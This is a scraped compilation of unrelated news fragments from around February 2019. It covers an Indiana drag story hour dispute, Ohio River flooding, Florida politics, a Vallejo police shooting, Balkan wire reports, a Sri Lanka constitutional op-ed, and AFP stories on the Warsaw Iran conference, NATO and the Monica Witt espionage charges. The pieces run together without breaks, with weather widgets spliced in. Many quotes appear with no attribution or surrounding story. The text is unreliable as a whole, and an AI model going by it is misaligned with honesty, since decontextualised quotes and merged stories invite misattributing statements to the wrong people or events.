Opponents of the Drag Queen Story Hour program are urging the cancellation of the Feb. 23 event at a library branch, saying that doing so would protect children from a show of immorality.

Similar events, including in suburban Detroit, have also generated opposition.

Local pastor Wayne Harris told the board that young children "lack the maturity to independently process what is being presented" at an event featuring drag queens. He also said he objects to those who normalize "the LGBT lifestyle."

A group supporting the program arrived later and stood in an aisle and outside the room. They spoke to the board about high rates of suicide and homelessness among LGBT youth, and said that events of this type provide a sense of acceptance.

Supporter Jennifer Willett urged the school board to "protect us from voices that would divide us because of fear and orthodoxy."

Town braces for Ohio River flood threat

UTICA (AP)  Emergency management officials in a flood-prone southern Indiana town are filling sandbags as the Ohio River continues rising following recent heavy rains and forecasts of more to come.

Utica emergency manager Curtis Wells tells the News and Tribune that about 1,000 sandbags were available for residents by Monday afternoon at Utica's town hall.

He says the rising river was causing anxiety for Utica residents. Flooding a year ago damaged about 100 homes in the town just northeast of Louisville, Kentucky

The National Weather Service issued a flood warning along Indiana's length of the Ohio River.

At the McAlpine Upper gauge near Utica, the river stood at 24.2 feet Tuesday morning, about a foot above flood stage. Moderate to heavy rainfall was forecast for the area Tuesday.

City crews in Bloomington are working to repair streets damaged last week by storms and flooding and recent freeze-thaw cycles.

No action coming on attorney general removal bill

INDIANAPOLIS (AP)  No action is going to be taken on a proposal filed by an Indiana legislator who says she was groped at a bar by state Attorney General Curtis Hill that aims to make it easier to remove some state officeholders from their positions.

A Republican House committee chairman says now isn't the time to consider the bill while Hill faces a possible lawsuit over the allegations.

Democratic Rep. Mara Candelaria Reardon of Munster and three female legislative staffers have alleged that Hill inappropriately touched them during a March party at an Indianapolis bar. A special prosecutor declined in October to pursue any criminal charges against Hill, who has denied wrongdoing.

Another Democratic legislator says he plans on seeking impeachment or legislative censure of Hill.

Purse lost in school in the 1950s to be reunited with owner

JEFFERSONVILLE (AP)  A purse containing a prom invitation, photos and other items from 1950s America will be returned to its now 82-year-old owner after workers found it while demolishing part of an Indiana high school.

Martha Everett lost the black stitched purse more than six decades ago. Workers found it in January behind science classroom cabinets in the old Jeffersonville High School, where Everett was a senior in 1955.

Greater Clark County Schools spokeswoman Erin Bojorquez says the district was able to track Everett "thanks to the power of social media" after one of her relatives saw a Facebook post about the purse . The district plans to mail the purse to Everett's home in Florida.

The News and Tribune reports it contained a wallet, a letter inviting her to the prom, lipstick, photos and Juicy Fruit gum wrappers.Port Richey, FL (34668)

Today

Partly cloudy this morning with thunderstorms becoming likely this afternoon. High 86F. Winds NE at 5 to 10 mph. Chance of rain 80%..

Tonight

Mostly cloudy skies. Scattered thunderstorms this evening. Low around 70F. Winds ENE at 5 to 10 mph. Chance of rain 70%.Fluoride is a mineral found in water and soil. More than 70 years ago, scientists discovered that people whose drinking water naturally had more fluoride also had fewer cavities. That led to efforts to add fluoride to tap water, toothpaste, mouthwash and other products. Experts say fluoride had helped drive down rates of tooth decay in U.S. teens and adults.Bondi, by contrast, did nothing to protect Florida investors from one of the biggest, most recent frauds. She left it up to the feds and other states to pursue the Woodbridge Group of Companies, which got its start in Boca Raton and built an alleged $1.2 billion Ponzi scheme, sucking in nearly 1,000 Florida real estate investors and thousands more nationally.Scott did not work particularly well with others and was ineffective at facilitating compromises between the two Republican-led chambers of the Legislature. He usually sided with one chamber, doing nothing to end a stalemate. On six occasions during Scotts tenure, the Legislature required costly Special Sessions to finish its work. Two of those  in 2015 and 2017  were to pass a budget.This time last year there was no way I thought Id ever run for office, let alone be here shortly right before the anniversary of parkland, Polo said. The real way to honor the families that are coping with this loss and those victims that we have lost, whether its in a nightclub or in a school or in the streets of many of our communities, that instead of just thoughts and prayers we put it into action.Stone said the president is doing a fantastic job as president and said his recent State of the Union address was Reagan-esque in both its delivery and content. He said its entirely possible that he would ride off into the sunset and go down as one of our greatest presidents.The bill is one of a number of measures filed for the upcoming legislative session that would increase the types of facilities competing with hospitals for patients. The House has pushed to lower health-care costs and, to that end, is considering bills that would allow ambulatory surgical centers to treat patients overnight and to establish what are known as recovery care centers.Every teacher that I have spoken to has made it clear that they do not want a gun, because it is not their job, said Rep. Shevrin Jones, D-West Park. But, leave it to Tallahassee, we do what we want to do and say the hell with what they have to say. Its bad, unnecessary and just wrong.If that [court] decision were to stand, what we would be facing essentially would be the wild, wild west when it comes to using medical marijuana. We believe there should be guardrails around that. Thats why weve reconvened and put this bill together moving forward, House Health and Human Services Chairman Ray Rodrigues told reporters after his committee signed off on a proposal to allow patients to smoke medical marijuana.Justin Sullivan/Getty ImagesRapper Willie Bo's family is in mourning after the 20-year-old was fatally shot by police at a Taco Bell in Vallejo, California, over the weekend.

Born Willie McCoy, the rising artist's family is calling his death a "senseless act." Speaking with The Guardian on Wednesday, McCoy's older brother Marc McCoy has accused the responding officers of racial profiling and acting as "judge, jury and executioner."

According to the report, the shooting took place at a local Taco Bell after an employee had notified authorities that McCoy was "slumped over" in a silver Mercedes-Benz in a drive-thru lane. Upon arriving at the scene, officers claim that the rapper was "unresponsive" with a handgun in his lap. McCoy is alleged to have "suddenly moved" and then "reached for his lap" after being told to "keep his hands visible."

Ultimately, the six responding officers all fired shots within about four seconds out of fear for their own safety."

Despite receiving medical attention, McCoy died at the scene.

David Harrison, McCoy's cousin, informed the publication that Vallejo authorities are not "trusted" in the local community.

"Police have a campaign of executing young black men who fit a certain profile," Harrison said. "Willie dressed the part. He represents hip-hop music."

Copyright  2019, ABC Radio. All rights reserved.USA: Eric B. Smith Named Special Agent in Charge of the Cleveland Field Office

FBI Director Christopher Wray has named Eric B. Smith as special agent in charge of the Cleveland Field Office. Mr. Smith most recently served as special assistant for FBI Director Wray.

Mr. Smith entered on duty with the FBI in 1999 and was first assigned as a special agent in the Wichita Resident Agency, Kansas City Field Office, where he worked multiple programs including violent crime, counterterrorism, and counterintelligence. In 2005, he transferred to the Counterterrorism Division at FBI Headquarters.

In 2008, Mr. Smith was selected to serve as the supervisor for the Cleveland Field Offices counterterrorism squad and Joint Terrorism Task Force. Two years later, he was assigned to be the FBIs senior representative to a counterterrorism task force headquartered in Fort Bragg, North Carolina, and forward deployed to Bagram, Afghanistan.

Mr. Smith returned to the Cleveland Field Office in 2013, where he was promoted to assistant special agent in charge over counterterrorism and cyber matters, as well as multiple resident agencies. He later assumed oversight of the intelligence program.

In 2015, Mr. Smith assumed the role of chief of staff to the FBI deputy director, where he served before entering his assignment as special assistant to the Director in 2016.

Prior to his FBI career, Mr. Smith served as an officer in the U.S. Army, primarily in airborne rapid deployment forces at Fort Bragg. He graduated from the U.S. Army Airborne School and the U.S. Army Ranger School. He served as a battalion intelligence officer, an airborne rifle platoon leader, a company executive officer, and a company commander. His military awards and decorations include the U.S. Army Ranger Tab, the Senior Parachutist Badge, the Royal Australian Parachutist Badge, and the German Schutzenschnur (shooting badge).

Mr. Smith graduated from Eastern Kentucky University in 1991. In 2009, he received his masters degree in homeland security studies from the Naval Postgraduate Schools Center for Homeland Defense and Security in Monterey, California.

Mr. Smith reported to the Cleveland Field Office on February 4, 2019.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Florida voters expressed strong support for making gun laws stricter, but the sentiment wasnt quite as strong as it was a year ago in the immediate aftermath of the shooting at the Parkland school where 17 people were killed and 17 injured, FAU polled about several gun-related issues.At one point, she was able to get out of that house as Christophe was falling asleep  only to seek help from a neighbor who turned out to be a woman he referred to as Aunty. According to investigators Christophe eventually came outside and told her the victim stole my money before dragging her back into his car.Wearing masks, Smith and Joseph went upstairs to the office. Smith pointed a gun at the manager, took his cellphone and ordered him to open the safe. They took about $22,000 and drove back to Orlando in a rented Hyundai Elantra, investigators said.The ocean view cant be beat. Theres a family feeling to the building, and we all know each other, and all watch out for each other. We know when someone has the flu and needs chicken soup. We know if someone had cataract surgery. Were all very familiar and all help each other out, said Annemarie Adams, Edgewater Arms Association secretary, who has been a resident of the co-op since 1987 and has lived there year-round since 2005.The Bluetooth-compatible suspension-training system, which looks a little like a TRX suspension trainer, builds full-body strength and core stability using a system of ropes and webbing that works against gravity and ones own body weight. There are 250 possible exercises that can be performed with the Wearable Gym, which is constructed of waterproof materials and comes with a wireless charger.Every year, she spends the spring and summer months knitting blankets for the babies and toddlers at ALEHs residential facility in Jerusalem, and then travels to Israel to personally deliver the beautiful handmade blankets, often asking her children and grandchildren to accompany her so that they can also take part in the mitzvah. And because one good deed deserves another, Super Savta (the Hebrew word for grandmother, as she is known to many in the organization) spends the next two weeks volunteering at ALEHs rehabilitative village in the Negev looking after the toddlers in the special-education school.Flights will land once a week at Orlando International Airport starting in July, utilizing 787 Dreamliners and Boeing 777 airliners, and will fly on Tuesdays after midnight from Tel Aviv to Orlando, returning on Tuesdays from Orlando at 11:30 a.m.Arkin, 34, who lives in the settlement Avigayil in the South Hebron Hills, owns hundreds of hives set up at various locations throughout southern Israel. While this latest attack was not the first time his beehives have been vandalized, it was the first time damage the damage has been so severe.A: It wasnt a mistake. The fact that the Jews can no longer be the object of a war of extermination is the most important thing; they can still be hated, but no longer exterminated. Anti-Semitism is a genocidal ideology. Today that genocide is unthinkable because its just not possible. Israels founding fathers understood that the Jewish people had to have their homeland, and also physical strength because they would have to go and be able to defend themselves. Anti-Semitism is much less dangerous today. The thing that most directly threatens the Jewish people is Iran, which has a clear genocidal aim vis-a-vis the State of Israel. European anti-Semitism, on the other hand, is hateful and dangerous for individuals. It can hate us, but not eliminate us.But this is different than the other three kids because number one, you know, shes transgender. Number two, she just had the surgery, and number three, Ahmir is a stranger, her mom said. Plus shes never had a boyfriend in a sexual way, so this is new territory for us.Lake Charles, LA (70615)

Today

Partly cloudy with afternoon showers or thunderstorms. High 89F. Winds S at 10 to 15 mph. Chance of rain 50%..

Tonight

Some clouds. Low 77F. Winds SSE at 5 to 10 mph.Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money.

Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists.CONNEAUT [emdash] Pete Taylor, 80, passed away 6/22/2021. In keeping with Pete's request, private family services were observed. In his memory, let us all raise his favorite drink, a Manhattan to the "Mayor of Mill Street." www.thompsonsmithnesbitt.comEnglish12/02/2019

DECISION ON STATE PRISON REMOVED FROM AGENDA

SARAJEVO, February 12 /SRNA/ - Provisional Minister of Security Dragan Mektic says a decision about the start of operations of the state prison in Istocno Sarajevo was removed from the Councils Tuesday agenda.



He told the press in Sarajevo that the Advisory Board of the provisional Council of Ministers will hold a session on Wednesday morning in order to seek a final solution.



Apart from the Council Chair Denis Zvizdic, the session will be attended by his deputies Vjekoslav Bevanda and Mirko Sarovic and provisional Minister of Justice Josip Grubesa.



At the request of Serb ministers, the proposal of the BiH National Annual Programme 2018-2019 suggested by the Commission for NATO Integration Process, was removed from the agenda. It had previously been removed from the agenda three times. /end/dsEnglish12/02/2019

PETITION TO TRUMP TO STOP PERSECUTION OF ORTHODOX CHRISTIANS IN KOSSOVO

BELGRADE, February 12 /SRNA/ - As part of the Kossovo Project, the community of American Serbs has submitted a petition with more than 35,000 signatures to US President Donald Trump, the Congress and the State Department asking them to put a stop to the persecution of Orthodox Christians and minority communities in Kossovo and Metohija.



Among signatories of the petition are leaders of the community of American Serbs such as priests of the Serbian Orthodox Church, emeritus professors members the Tesla Science Foundation, the president of the Serbian National Council, numerous owners of small businesses, lawyers.



The community of American Serbs started a petition somewhat more than a month ago with an explanation that the situation in Kossovo is untenable and that more than 250,000 Orthodox Christians have been expelled from this area, mostly Serbs, but also other minorities, including Jews and Roma, report the Belgrade media.



The initiators of the petition have warned that a great number of people have been killed in Kossovo, that houses and properties are looted, burned down and destroyed, and that more than 150 churches and monasteries have been damaged or completely destroyed.



Christians in Kossovo are subjected to brutal violence, and access to places of prayer is either banned or blocked. Christians and other minorities are deprived completely or partially of their basic needs  food and medicines, says the community of American Serbs, noting that all who want can sign the petition. /end/sgby Harim Peiris





In January 2015, 6.2 million Sri Lankans voted for a new Sri Lanka, giving a mandate for far reaching reforms, even as a rainbow coalition of disparate opposition parties and civil society organizations backed a common candidate for the presidency and Maithripala Sirisena, who had defected from the Rajapaksa administration shortly before and launched a blistering criticism of his erstwhile boss, defeated a deeply entrenched and populist president who sought to leverage his war ending legacy into an unprecedented 18th amendment enabled third term.













The signature achievement of the Sirisena Administration during its second 100 or so days in office, was the 19th amendment to Sri Lankas constitution, which essentially reversed the 18th Amendment and reduced the sole discretionary executive powers of the presidency, established independent commissions and strengthened the role of the Constitutional Council in key state appointments. This has, in fact, led to a renewed Sri Lanka, where senior police officers are institutionally independent of politicians now in their professional work and careers, the judiciary has recovered from the low point of the sacking of Chief Justice Shiranie Bandaranaike, a collective decision making on senior state appointments through the Constitutional Council and the establishment of key independent Commissions including the National Human Rights Commission has occurred. This was and is important progress and crucial state reform for Sri Lanka. President Sirisena throughout 2015, 2016 and 2017 praised the 19th Amendment to the Constitution and he was right. That legacy must be protected and nurtured.





In recent times, clearly President Sirisena has done a political volte farce, a complete turnaround from having campaigned against the policies of the Rajapaksa administration to now seeking to hitch his own political fortunes and future to a Rajapaksa return. This of necessity makes him advocate against his own legacy of reforms and change, as he seeks to champion or be associated with a different political agenda and culture going forward. That is the Presidents political right, though the wisdom of the move may be doubtful. But the merits of the 2015 reforms, mandated by a majority of Sri Lankan requires a defense, as the politics of the impending year end presidential elections, overshadows the public policy debate.



The Collective of the Constitutional Council





The Constitutional Council embodies that essential principle of key state appointments being independently vetted and approved by a collective leadership. Now in Sri Lanka, these are the appointments to the higher judiciary and the members of the independent commissions, which are by design meant to be independent of the executive arm of government. They are regulatory and oversight in nature, be it the Human Rights Commission, the Police Commission or the Commission to Investigate Allegations of Bribery or Corruption, to name a few.





Sri Lanka needs to make a transition from being a nation governed by populist strongmen (or women) to being governed by institutions, policies and laws and a government that is accountable and a governance that is transparent to the sovereign people of Sri Lanka. Through mechanisms and processes that move beyond periodic elections. It is in furtherance of this objective, that collective decision making on appointments to key judicial and regulatory bodies is being made by the Constitutional Council. The United States, for instance, in which the SLPP front runner for the presidency is a citizen, requires most key state appointments to be confirmed by the US Senate. The adage, I etat cest moi or I am the state of King Louis XIV, surely ended with the period of absolute monarchies.





This analysis does not seek to engage inappropriately in the merits or demerits of specific and particular appointments high level appointments. Merely to make the point that it surely boggles the mind and is inconceivable that a collective of ten members of the Constitutional Council, comprising ex officio the Speaker, the Prime Minister and Leader of the Opposition, their nominees and three eminent non-partisan persons, can make a bigger mistake and be allegedly partisan, than a single individual, as would be the case of the executive president. As recent events have indicated, the presidency of Sri Lanka, is hardly removed from the partisan democratic contestation for political power and the criticism of the Constitutional Council is coming from one direction only, that of the political allies of the Rajapaksas. This must also be viewed in the context of the remarkable events of November and December 2018, when the actions of the President and the short lived SLPP / UPFA Government were found to be ultra vires the constitution and relevant laws. It no doubt escapes the extreme Sinhala nationalist members of the JO, that attacking the appointment of Sri Lankas superior judiciary is surely counter-productive to insisting and arguing with the international community, for the efficacy of Sri Lankas judicial system.





In Defence of the National Human Rights Commission





Sri Lanka has had a long-term problem with the protection and safeguarding of human rights. At one time we were quite high on the list of countries where extra judicial executions took place. Generally, Sri Lankan society was willing to acquiesce in making human rights subservient to the security interests of our long running civil war, believing as Cicero argued in the Roman Senate, that in the fight of good against evil, the laws are silent. But post war, we must change. It is a credit to the reforms of post 2015, that the human rights and democratic freedoms in Sri Lanka were strengthened and the attempt to rule in peacetime as in wartime was defeated at the polls.





We cannot, as President Sirisena himself pledged, allow the white van culture, the killing of editors, journalists and ruggerites on the streets of our cities to reoccur again with impunity. The work of independent commissions is a must. A societys strength is not measured by the extent of its defence of the powerful but in its defense of the weak. As Human Rights Commission Chairman Dr. Deepika Udugama, so eloquently stated in her dignified but sterling defence of the Commissions excellent work an independent commission protects the rights of all groups of citizens in the country, this includes even groups of people who have been marginalized and rejected from society, since the fundamental mark of a democratic and civilized society is guaranteeing humanity.





The governance reforms of the 19th Amendment have demonstrated a resilience and a robustness that strengthened Sri Lankan democracy. It must be defended by the 6.2 million who voted for that change in 2015, even if its champions and architects change course.Madrid, Feb 13, 2019 (SPS) - The delegate of the Frente POLISARIO in Spain, Jira Bulahi, regretted that the "European Union becomes an accomplice to the theft that the Moroccan occupier continue to perpetrate on the Saharawi people.

In an official statement, the Sahrawi official rejects the attitude of the European institutions noting "the agreement approved by the European Parliament goes against international law and contradicts the ruling of the European Court of Justice, which states that the territorial waters of Western Sahara, a Non-Self-governing Territory awaiting decolonization ".

"The MEPs who voted in favor of the agreement are responsible for the continued plundering of the natural resources of Western Sahara and become collaborators of the oppression and persecution that the Moroccan regime exercises against the Saharawi people, who suffer daily the violation of human rights, "laments the Saharawi delegate.

Warning about the negative consequences of this illegal fishing agreement and the inclusion of the occupied areas of Western Sahara, Bulahi reminded that "the efforts of the UN and the African Union are hindered in the search for a definitive solution based on self-determination of the Saharawi people ".

Bulahi exhorts the King of Spain, Philip VI, to put on the table the theme of Western Sahara during his visit to the Kingdom of Morocco. "Among the ministers accompanying Felipe Vi is the Interior Minister, Fernando Grande-Marlaska, whose department deported a Saharawi student last January to Morocco who sought political asylum in Lanzarote, fleeing the Moroccan police after being persecuted by his political activism "adds the representative of Frente POLISARIO.

To conclude, Jira Bulahi reaffirms that " POLISARIO will continue fighting with all the means at its disposal against the new aggression of the Saharawi people that the new fishing agreement supposes, knowing that it is assisted by international legality, which unfortunately they have not respected the MEPs who have voted for Morocco to continue oppressing the Saharawi people. "SPS

125/090/TRAPoland talks press Iran amid major attack



Warsaw, Feb 13 (AFP) Feb 13, 2019



US and Israeli leaders gathered Wednesday in Warsaw for a conference they hope will pile pressure on Iran, just as the country's elite Revolutionary Guards were hit by one of the deadliest attacks in years.

Opening with a dinner at the Royal Castle in Warsaw's old town, the two-day meeting looks to promote a US-led vision of the Middle East but is as notable for its absences as its attendees.

Israeli Prime Minister Benjamin Netanyahu and US Vice President Mike Pence will headline the conference Thursday but few prominent European officials have come amid unease with the strident US line on Iran.

Just as talks were getting underway, a suicide car bombing in southeastern Iran killed 27 troops of the elite Revolutionary Guards who were returning from patrol, according to the force.

Iran quickly linked the attack to the Warsaw conference, where supporters of the formerly armed opposition were rallying in the streets.

Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began.

But an extremist group from the Sunni Muslim minority claimed responsibility for the attack in the volatile southeastern Baluchistan region bordering Pakistan.

Sunni militants were also held responsible for a major assault on a military parade in southwestern Iran in September.

The latest violence as well as the conference come just as the Shiite clerical regime was celebrating 40 years since the Islamic revolution that overthrew the pro-US shah.



- Growing US pressure on Iran -

Iran has been comparatively stable in a turbulent region in recent years. But President Donald Trump has boasted of growing unrest and economic insecurities after he slapped on biting sanctions.

Trump walked away from what he called a "terrible" 2015 deal negotiated by his predecessor Barack Obama in which Iran constrained its nuclear programme in return for sanctions relief.

Outside of the United States, Israel and Iran's Arab rivals, virtually the whole world still supports the agreement, with which UN inspectors say Iran is complying.

Even Poland -- always eager to please the United States as it fears a resurgent Russia -- has gone to pains to say that it still backs the 2015 agreement alongside other European members.

Poland and the United States toned down the conference to a vague goal of seeking stability in the Middle East without specifically mentioning Iran.

Netanyahu has been unflinching in his criticism of Iran's leaders, who do not recognise Israel's right to exist.

Speaking as he headed to Warsaw, Netanyahu said that Israel launched new military strikes Monday against Iranian-linked sites in Syria, where the Jewish state is adamant about eliminating the presence of Tehran and its ally Hezbollah.



- Guarded hopes on Yemen -



The sole senior official from a major European power to attend is British Foreign Secretary Jeremy Hunt, who said he wanted to focus on ending the crisis in Yemen.

Several million Yemenis are on the brink of starvation and the country has suffered one of the worst cholera outbreaks in modern times as Saudi Arabia and the United Arab Emirates -- backed by the United States -- seek to bomb and blockade Iranian-linked Huthi rebels into surrender.

Hunt -- whose country is also a major arms supplier to Riyadh -- met Tuesday evening in Warsaw jointly with US Secretary of State Mike Pompeo and senior officials from Saudi Arabia and the United Arab Emirates.

In a joint statement, the four countries said they hoped to expand on a seven-week ceasefire that has largely held in the crucial port city of Hodeida but accused the Huthis of presenting obstacles.

"The ministers agreed that there is a window of opportunity to end the conflict in Yemen and to redouble their efforts to reach a political solution," they said.



- Trump ally seeks regime change -



The Trump administration has insisted that it wants changes in Iran's policies in the Middle East but that it is not looking to topple the regime.

Yet former New York mayor Rudy Giuliani -- who serves as Trump's personal lawyer but does not represent the US government -- openly called for regime change at a rally in Warsaw with Iran's exiled opposition.

"We shouldn't be doing business with a nation that supports terrorism," Giuliani told the rally of the People's Mujahedin, a formerly armed group close to US conservatives that was classified by Washington as a terrorist movement until 2012.

"I know we're united in that we want to see a regime change in Iran, so that there's a regime that is democratic, that's lawful," Giuliani said.With armoured vehicles and snipers, US seeks to deter Russia



Orzysz, Poland, Feb 13 (AFP) Feb 13, 2019



With the Russian border little more than an hour away, the desolate grey sky burst open with an explosion of fire and a plume of smoke. If the scene evoked the Cold War, it was intentional.

US Secretary of State Mike Pompeo trekked Wednesday to the Polish town of Orzysz to witness NATO live-fire exercises in an unmistakable sign to Warsaw that the United States has its eye on Russia.

Pompeo walked through drizzling rain with senior Polish officials over frozen soil and patches of snow to a reviewing stand as several hundred troops stood at attention.

Pompeo, a West Point graduate who served as a US Army cavalry officer in Germany when Poland was on the other side of the Iron Curtain, said little had changed except, he joked, that back then he was listening to cassette tapes of Van Halen.

The US defense chief likened Orzysz, around 70 kilometres (45 miles) from Russia's Baltic Sea enclave of Kaliningrad, to divided Germany's infamous Fulda Gap -- where NATO feared that Soviet tanks could penetrate its defenses.

"Today, the gap in which we stand occupies the same priority focus for NATO commanders that the Fulda Gap did back then -- once again because of Russian aggression," Pompeo said in reference to the so-called Suwalki Gap.

He said that the concern was not theoretical, denouncing Russian President Vladimir Putin for the 2014 annexation of the Crimean peninsula and ongoing support for separatists in Ukraine, as well as Moscow's war a decade earlier with Georgia.

"We take seriously those concerns that Russia may one day try to open a front along a line right here," Pompeo said.



- Simulated battle -



Pompeo then advanced with senior Polish officials including Foreign Minister Jacek Czaputowicz to observe exercises by troops from the five countries at the base -- the United States, Poland, Britain, Croatia and Romania.

Amid startling shots from rocket launchers, 20 troops sprinted from a corner for a display of hand-to-hand combat, simulating punching and kicking one another as if in the throes of battle.

Pompeo watched with a smile as Bradley armoured vehicles rolled by and a dozen soldiers jumped out before him and squatted with their rifles, shooting metallic targets in the shape of enemy bodies.

A Polish officer provided a running, dispassionate narrative in precise English, explaining, "The snipers wait patiently for the enemy soldier to present the opportunity for the perfect shot."



- Wooing the US -



Putin has accused the United States of trying to contain Russia and has pledged to boost Moscow's own military, including by deploying nuclear-capable Iskander missiles to Kaliningrad.

Meanwhile, US President Donald Trump has voiced admiration for Putin and mused that NATO -- which considers an attack on any of its 30 members an attack on all -- cheats the United States out of money.

Believing a permanent US presence would be the ultimate deterrent, Poland has offered to contribute to building a US base -- which it has cheekily suggested could be called Fort Trump.

Asked about a troop increase, Pompeo said the United States was "taking a look at it".

NATO promised Russia in 1997 not to station significant forces in the former eastern bloc. As tensions have grown however, the alliance has instead rotated troops through front-line countries.

Poland offered an additional sweetener on Wednesday. US Vice President Mike Pence, also in the country, said Warsaw would buy $414 million worth of US mobile rocket launchers -- good news for the transaction-minded Trump.Taliban announce talks with US in Islamabad: spokesman



Kabul, Feb 13 (AFP) Feb 13, 2019



The Taliban said Wednesday that its negotiators would meet US envoys for talks this month in Islamabad, and also sit down with Pakistan Prime Minister Imran Khan to discuss Afghanistan.

The announcement, not immediately confirmed by Washington or Islamabad, comes as America's chief negotiator tours the globe shoring up support for a peace process to end its longest war.

Zalmay Khalilzad, a former ambassador to Afghanistan, held extensive talks with the militants last month in Qatar, where the Taliban have an office. More talks are slated for later in February.

But a Taliban statement issued Wednesday said separate meetings would be held first on February 18 in Islamabad "by the formal invitation of the government of Pakistan".

Talks in Doha would follow a week later on February 25, the statement said.

Khalilzad is heading a large delegation on a tour of Belgium, Germany, Turkey, Qatar, Afghanistan and Pakistan to boost the peace process and bring all Afghan parties to the table.

He has expressed cautious hope for a deal before Afghan presidential elections slated for July, but says the Taliban must come to the table with the Kabul government, which the insurgents consider a US puppet.

President Ashraf Ghani -- who has expressed frustration at being sidelined from recent talks -- flew to Munich on Wednesday to attend an international security conference, his office said.

The Taliban also announced a meeting with Prime Minister Khan in Islamabad for "comprehensive discussions" about bilateral affairs with Afghanistan.

News reports in Pakistan last month had suggested Islamabad was open to hosting the next round of talks with the insurgents.

In January, as he travelled the region building support for the peace process, Khalilzad met Khan in Pakistan -- one of just three countries that recognised the Taliban regime before their ousting by US-led forces in 2001.

Pakistan's foreign ministry said in December that President Donald Trump, who is pushing to end the 17-year war in Afghanistan, wrote to Khan seeking Islamabad's support for peace efforts.

Ties between Washington and Islamabad have soured recently.

US officials have repeatedly accusing Pakistan of turning a blind eye to, or even collaborating with, the Afghan Taliban, which launch attacks in Afghanistan from alleged havens along the border between the two countries.

The White House believes that Pakistan's Inter-Services Intelligence agency and other military bodies have long helped fund and arm the Taliban, and believe a Pakistani crackdown on the militants could be pivotal in deciding the outcome of the war.

Pakistan has long denied the claims, saying thousands of its citizens have been killed in its long struggle with militancy.Pence hails $414 mn deal on US rockets for Poland



Warsaw, Feb 13 (AFP) Feb 13, 2019



The US and Poland finalised a deal on Wednesday for Warsaw to buy American mobile rocket launchers worth $414 million (365 million euros) as it lobbies Washington to boost troops on Polish soil.

"We are pleased to partner with you in Poland's national defence," US Vice President Mike Pence said in Warsaw as the deal was inked in an air hangar filled with Polish and US troops.

It means that "Poland is taking its place among the most capable and formidable nations in the world," he said, underscoring strong US ties with its NATO ally.

His comments were echoed by Polish President Andrzej Duda, who has lobbied Washington hard for a permanent US military presence in Poland.

The purchase will help strengthen "the defense potential of Poland and the Polish army but will also increase security in our part of Europe, on the eastern flank of the Atlantic Alliance," Duda said.

The first stage of the acquisition of "20 HIMARS systems" will go ahead in 2023, he said.

Pence and US Secretary of State Mike Pompeo are headlining a conference in Warsaw on security issues in the Middle East on Wednesday and Thursday that the US is co-hosting with Poland.

Made by US weapons giant Lockheed Martin, the HIMARS system can launch six guided rockets with a range of 70 kilometres (37 miles), or a single missile with a 300-kilometre range.



- Increased US presence -



It is already being used by 19 countries including the US and has been deployed in Iraq and Syria against the Islamic State group, allowing US troops a precision attack ability even in poor weather when air attacks are hindered.

In March last year, Warsaw signed a $4.75 billion contract to purchase a US-made Patriot anti-missile system.

Poland's rightwing government has been pushing for the US to open a permanent military base on its soil, where nearly 5,000 American troops are already stationed on a rotational basis as part of NATO operations.

Pence confirmed later on Wednesday that "our two countries are discussing the parameters for an increased United States military presence in Poland" without going into detail.

He told Duda that he would be "carrying back your strong convictions regarding that to President Trump."

Pompeo told reporters visiting a US-led NATO battalion in northern Poland on Wednesday that Washington would "make sure" to have the "right" number and "mix" of troops in Poland in future without indicating when a decision could come.

Earlier on the same day, US ambassador Georgette Mosbacher told the Financial Times that a troop boost would be "significant" and would pass the "hundreds mark".

The US leads a multinational NATO battalion in Poland, one of four the alliance deployed to the region in 2017 to act as tripwires against possible Russian adventurism in the wake of Moscow's 2014 annexation of Crimea from Ukraine.

mas/pmaUS charges former Air Force intel agent with defecting to Iran



Washington, Feb 13 (AFP) Feb 13, 2019



The US Justice Department charged a former Air Force intelligence official Wednesday with spying for Iran, saying she exposed a fellow US agent and helped the Revolutionary Guard target her former colleagues for cyber attacks.

US officials said Monica Witt, who worked for years in US Air Force counterintelligence, had an "ideological" turn against her country and defected in 2013, turning over information on US intelligence operations against Tehran.

"It is a sad day for America when one of its citizens betrays our country," said Assistant Attorney General John Demers, announcing the indictment.

"This case underscores the dangers to our intelligence professionals and the lengths our adversaries will go to identify them, expose them, target them, and, in a few rare cases, ultimately turn them against the nation they swore to protect," he said.

The US also indicted four Iranians working for the Revolutionary Guard who, using information Witt provided them, targeted her former colleagues in US intelligence with malware and other hacking tools in hopes of accessing their computer networks.

The Justice Department has issued arrest warrants for Witt and the four Iranians, who all remain at large.

Witt served in the US Air Force from 1997 to 2008, becoming a special agent in the Air Force Office of Special Investigations, its counterintelligence unit.

After leaving the Air Force, she worked as a defense and intelligence contractor, but by 2012 her politics had begun to turn.

That year she travelled to Iran to attend an anti-America conference sponsored by the Revolutionary Guard-related New Horizon Organization.

She returned to Iran the next year and began disclosing classified information to Iranian officials, including on her former colleagues in the US intelligence community.

She revealed to the Iranians a "highly classified intelligence collection program" as well as the true identity of a US intelligence officer, Demers said.

According to an undated FBI missing persons declaration regarding Witt, she had not been in contact with anyone since 2013.

The announcement, which also included sanctions on the New Horizon Organization, organization officials, and a company tied to the hacking effort, came on the opening day of a US-led international conference in Warsaw, Poland aimed at boosting pressure on Tehran.NATO chief to meet Russia's Lavrov on missile pact crisis



Brussels, Feb 13 (AFP) Feb 13, 2019



NATO Secretary General Jens Stoltenberg announced Wednesday that he will hold talks with Russian Foreign Minister Sergei Lavrov this week, as part of efforts to save a key arms control treaty that is on the point of collapse.

The pair will meet at the Munich Security Conference, which starts on Friday, as NATO tries to persuade Moscow to abandon a new missile system the alliance says breaches the Intermediate-Range Nuclear Forces (INF) Treaty.

The US began the process of exiting the treaty earlier this month in response to Moscow's deployment of the 9M729 missile, prompting Russia to announce its own withdrawal.

"I expect to meet minister Lavrov in Munich, and I think it is important to have dialogue with Russia especially when we face so many difficult issues as we face today," Stoltenberg said as he arrived for a meeting of NATO defence ministers.

The two-day meeting in Brussels is the first chance for NATO ministers to debate what steps the alliance will take to bolster its defence against new Russian medium-range missiles.

The US withdrawal will only take effect in August, giving a six-month window to save the treaty, but few expect this to happen and Stoltenberg said NATO had to prepare for a "future without the INF treaty and with more missiles".

